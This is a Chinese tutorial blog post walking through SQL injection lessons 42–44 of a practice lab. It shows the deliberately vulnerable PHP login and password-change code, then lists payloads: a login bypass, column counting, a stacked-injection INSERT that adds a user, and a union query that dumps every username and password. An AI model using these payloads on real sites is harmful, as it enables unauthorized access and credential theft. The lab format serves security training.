WEB常见漏洞之SQL注入(靶场篇—3)2

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
RDS MySQL Serverless 高可用系列,价值2615元额度,1个月
简介: WEB常见漏洞之SQL注入(靶场篇—3)

Lesson-42

该题为单引号post型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注、堆叠注入,登录界面以 post 方式接收变量,存在忘记密码和新建用户选项

但忘记密码和注册用户这两个功能都无法使用

使用正确的密码登录成功,可在其中修改密码

目标SQL语句如下:

//login.php

$username=mysqli_real_escape_string($con1, $_POST["login_user"]);

$password=$_POST["login_password"];

$sql="SELECT * FROM users WHERE username='$username' and password='$password'";

@mysqli_multi_query($con1, $sql)

# 返回内容

if查询成功:

  输出查询内容;

else:

  print_r(mysql_error());

$login=sqllogin($host,$dbuser,$dbpass, $dbname);

if登录成功:

  setcookie("Auth", 1, time()+3600);

//pass_change.php

$username=$_SESSION["username"];

$curr_pass=mysql_real_escape_string($_POST['current_password']);

$pass=mysql_real_escape_string($_POST['password']);

$re_pass=mysql_real_escape_string($_POST['re_password']);

if($pass==$re_pass)

$sql="UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

注意:该题漏洞较多,首先在login.php中未对password进行过滤,可使用报错注入、盲注来进行利用,同时mysqli_multi_query()支持多条SQL语句,因此也可以使用堆叠注入。其次在pass_change.php中还存在二次注入。

使用万能密码尝试登录,成功登录

login_user=admin&login_password=1'%20or%201#&mysubmit=Login

使用堆叠注入判断字段数

login_user=admin&login_password=1'%20order%20by%203#&mysubmit=Login //返回正常页面

login_user=admin&login_password=1'%20order%20by%204#&mysubmit=Login //返回报错页面

由此可判断字段数为3,我们可利用联合查询、报错注入以及盲注进行攻击,这在之前都已介绍过了,就不再赘述。重点测试堆叠注入,尝试添加字段值

login_user=admin&login_password=1';insert%20into%20users(username,password)%20values('mac','mac')#&mysubmit=Login

通过联合查询查看数据,点击follow后发现字段值已添加

login_user=admin&login_password=-1'%20union%20select%201,(select%20group_concat(concat_ws(0x7e,username,password))%20from%20users),3%20from%20users#&mysubmit=Login

Lesson-43

该题为单括号单引号post型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注、堆叠注入,登录界面以 post 方式接收变量,存在忘记密码和新建用户选项

目标SQL语句如下:

//login.php

$username=mysqli_real_escape_string($con1, $_POST["login_user"]);

$password=$_POST["login_password"];

$sql="SELECT * FROM users WHERE username=('$username') and password=('$password')";

@mysqli_multi_query($con1, $sql)

# 返回内容

if查询成功:

  输出查询内容;

else:

  print_r(mysql_error());

$login=sqllogin($host,$dbuser,$dbpass, $dbname);

if登录成功:

  setcookie("Auth", 1, time()+3600);

//pass_change.php

$username=$_SESSION["username"];

$curr_pass=mysql_real_escape_string($_POST['current_password']);

$pass=mysql_real_escape_string($_POST['password']);

$re_pass=mysql_real_escape_string($_POST['re_password']);

if($pass==$re_pass)

$sql="UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

注意:该题与Lesson38的利用方式相同,只不过拼接方式由单引号换成了单括号单引号

使用万能密码尝试登录,成功登录

login_user=admin&login_password=1')%20or%201#&mysubmit=Login

使用堆叠注入判断字段数

login_user=admin&login_password=1')%20order%20by%203#&mysubmit=Login //返回正常页面

login_user=admin&login_password=1'%20order%20by%204#&mysubmit=Login //返回报错页面

由此可判断字段数为3,我们可利用联合查询、报错注入以及盲注进行攻击,这在之前都已介绍过了,就不再赘述。重点测试堆叠注入,尝试添加字段值

login_user=admin&login_password=1');insert%20into%20users(username,password)%20values('mac','mac')#&mysubmit=Login

通过联合查询查看数据,点击follow后发现字段值已添加

login_user=admin&login_password=-1')%20union%20select%201,(select%20group_concat(concat_ws(0x7e,username,password))%20from%20users),3%20from%20users#&mysubmit=Login

Lesson-44

该题为单引号post型注入,利用方式包括联合查询注入、布尔盲注、时间盲注、堆叠注入,登录界面以 post 方式接收变量,存在忘记密码和新建用户选项

目标SQL语句如下:

//login.php

$username=mysqli_real_escape_string($con1, $_POST["login_user"]);

$password=$_POST["login_password"];

$sql="SELECT * FROM users WHERE username='$username' and password='$password'";

@mysqli_multi_query($con1, $sql)

# 返回内容

if查询成功:

  输出查询内容;

else:

  输出存在错误;

$login=sqllogin($host,$dbuser,$dbpass, $dbname);

if登录成功:

  setcookie("Auth", 1, time()+3600);

//pass_change.php

$username=$_SESSION["username"];

$curr_pass=mysql_real_escape_string($_POST['current_password']);

$pass=mysql_real_escape_string($_POST['password']);

$re_pass=mysql_real_escape_string($_POST['re_password']);

if($pass==$re_pass)

$sql="UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

注意:该题与Lesson42的利用方式相同,只不过不再输出MySQL的具体报错信息,因此无法使用报错注入进行攻击

使用万能密码尝试登录,成功登录

login_user=admin&login_password=1'%20or%201#&mysubmit=Login

使用堆叠注入判断字段数

login_user=admin&login_password=1'%20order%20by%203#&mysubmit=Login //返回正常页面

这里我们不能使用 order by 来判断字段数,需要通过 union select 判断

login_user=admin&login_password=-1'%20union%20select%201,2,3#&mysubmit=Login

由此可判断字段数为3,我们可利用联合查询、报错注入以及盲注进行攻击,这在之前都已介绍过了,就不再赘述。重点测试堆叠注入,尝试添加字段值

login_user=admin&login_password=1';insert%20into%20users(username,password)%20values('mac','mac')#&mysubmit=Login

通过联合查询查看数据,点击follow后发现字段值已添加

login_user=admin&login_password=-1'%20union%20select%201,(select%20group_concat(concat_ws(0x7e,username,password))%20from%20users),3%20from%20users#&mysubmit=Login

相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助     相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
相关文章
|
2月前
|
缓存 移动开发 安全
Web安全-HTTP响应拆分(CRLF注入)漏洞
Web安全-HTTP响应拆分(CRLF注入)漏洞
138 1
|
21天前
|
SQL 安全 前端开发
Web学习_SQL注入_联合查询注入
联合查询注入是一种强大的SQL注入攻击方式,攻击者可以通过 `UNION`语句合并多个查询的结果,从而获取敏感信息。防御SQL注入需要多层次的措施,包括使用预处理语句和参数化查询、输入验证和过滤、最小权限原则、隐藏错误信息以及使用Web应用防火墙。通过这些措施,可以有效地提高Web应用程序的安全性,防止SQL注入攻击。
42 2
|
2月前
|
SQL
Web for Pentester SQL sql注入靶场
Web for Pentester SQL sql注入靶场
|
3月前
|
缓存 移动开发 安全
Web安全-HTTP响应拆分(CRLF注入)漏洞
Web安全-HTTP响应拆分(CRLF注入)漏洞
179 8
|
3月前
|
安全 关系型数据库 Shell
Web安全-浅析CSV注入漏洞的原理及利用
Web安全-浅析CSV注入漏洞的原理及利用
159 3
|
2月前
|
SQL 运维 安全
怎样可以找到SQL漏洞:技巧与方法详解
SQL漏洞,特别是SQL注入漏洞,是Web应用中常见的安全威胁之一
|
SQL 程序员 安全
|
SQL 安全 程序员